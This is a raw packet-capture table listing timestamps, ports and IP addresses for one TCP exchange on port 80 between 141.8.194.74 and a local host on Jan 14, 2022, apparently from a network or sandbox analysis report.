Jan 14, 2022 01:52:08.680305958 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680315971 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.680346012 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680385113 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680399895 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.680425882 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680464983 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680479050 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.680505037 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680545092 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680555105 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.680583954 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680623055 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680638075 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.680664062 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680701017 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680716038 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.680742025 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680779934 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680790901 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.680821896 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680861950 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680871010 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.755609989 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.755669117 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.755698919 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.755728960 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.755759001 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.755799055 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.755824089 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.755836964 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.755876064 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.755886078 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.755897045 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.755918026 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.755954981 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.755995989 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756012917 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.756036043 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756059885 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.756074905 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756117105 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756155014 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756160021 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.756195068 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756216049 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.756236076 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756273985 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756295919 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.756313086 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756352901 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756371975 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.756392956 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756433010 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756449938 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.756470919 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756510973 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756526947 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.756551981 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756588936 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756608963 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.756628990 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756669044 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756688118 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.756706953 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756747007 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756762981 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.756787062 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756825924 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756844044 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.756865978 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756903887 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756922960 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.756942987 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756983042 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.756999969 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.757019997 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.757061005 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.757076979 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.757098913 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.757141113 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.757157087 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.757183075 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.757220030 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.757240057 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.757260084 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.757301092 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.757318974 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.757350922 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.757390976 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.757411957 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.796885967 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.832020044 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832066059 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832107067 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832144976 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832184076 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832186937 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.832223892 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832248926 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.832262993 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832282066 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.832305908 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832345009 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832376003 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.832400084 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832442045 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832462072 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.832482100 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832521915 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832545042 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.832561970 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832602024 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832621098 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.832642078 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832679987 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832700968 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.832721949 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832762957 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832783937 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.832802057 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832840919 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832860947 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.832880974 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832917929 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832940102 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.832957983 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.832998037 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833019018 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.833038092 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833079100 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833096027 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.833117962 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833157063 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833192110 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.833195925 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833234072 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833272934 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833272934 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.833313942 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833339930 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.833355904 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833410025 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833427906 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.833448887 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833488941 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833507061 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.833529949 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833568096 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833606005 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833606958 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.833645105 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833667040 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.833684921 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833724976 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833739996 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.833765030 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833805084 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833822012 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.833844900 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.833925962 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.871650934 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.871706009 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.871789932 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.908515930 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.908571959 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.908610106 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.908648968 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.908688068 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.908727884 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.908754110 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.908771038 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.908795118 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.908804893 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.908811092 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.908850908 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.908874989 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.908890009 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.908929110 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.908951998 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.908967018 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909007072 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909032106 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.909045935 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909087896 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909105062 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.909126043 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909164906 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909181118 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.909205914 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909260988 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.909271002 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909308910 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909348965 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909368992 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.909393072 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909430027 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909449100 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.909468889 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909507036 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909524918 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.909547091 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909585953 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909601927 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.909624100 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909662962 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909678936 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.909703016 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909740925 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909761906 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.909780979 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909820080 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909837961 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.909928083 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.909969091 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.910001040 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.910007954 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.910048008 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.910067081 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.910089970 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.910156965 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.910156965 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.910197973 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.910238028 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.910254002 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.910278082 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.910315990 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.910337925 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.910355091 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.910397053 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.910417080 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.910434961 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.910491943 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.946429968 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.946474075 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.946513891 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.946554899 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.946554899 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.946593046 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.946624041 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.946633101 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.946671963 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.946696997 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.946715117 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.946757078 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.946779013 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.946794987 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.946834087 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.946870089 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.946872950 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.946912050 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.946940899 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.946950912 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.946990013 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.947016954 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.947030067 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.947069883 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.947088957 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.947107077 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.947148085 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.947165966 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.947189093 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.947227001 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.947247028 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.947268009 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.947305918 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.947330952 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.947344065 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.947391987 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.947413921 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.947429895 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.947469950 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.947489977 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.947509050 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.947546959 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.947568893 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.947587013 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.947626114 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.947654963 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.947665930 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.947706938 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.947724104 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.947746038 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.947803020 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.985145092 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.985188007 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.985224962 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.985260963 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.985265017 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.985306025 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.985332966 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.985346079 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.985389948 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.985421896 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.985428095 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.985469103 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.985488892 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.985510111 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.985549927 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.985570908 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.985590935 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.985629082 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.985656023 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.985667944 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.985709906 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.985732079 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.985748053 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.985789061 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.985806942 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.985827923 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.985892057 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.985910892 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.985935926 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.985975981 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.985996962 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.986016035 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986057043 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986077070 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.986095905 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986134052 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986159086 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.986171961 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986211061 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986229897 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.986252069 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986291885 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986308098 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.986330986 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986371040 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986388922 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.986413956 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986452103 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986473083 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.986491919 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986531973 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986550093 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.986569881 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986608982 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986624956 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.986649036 CET	80	49958	141.8.194.74	192.168.2.3
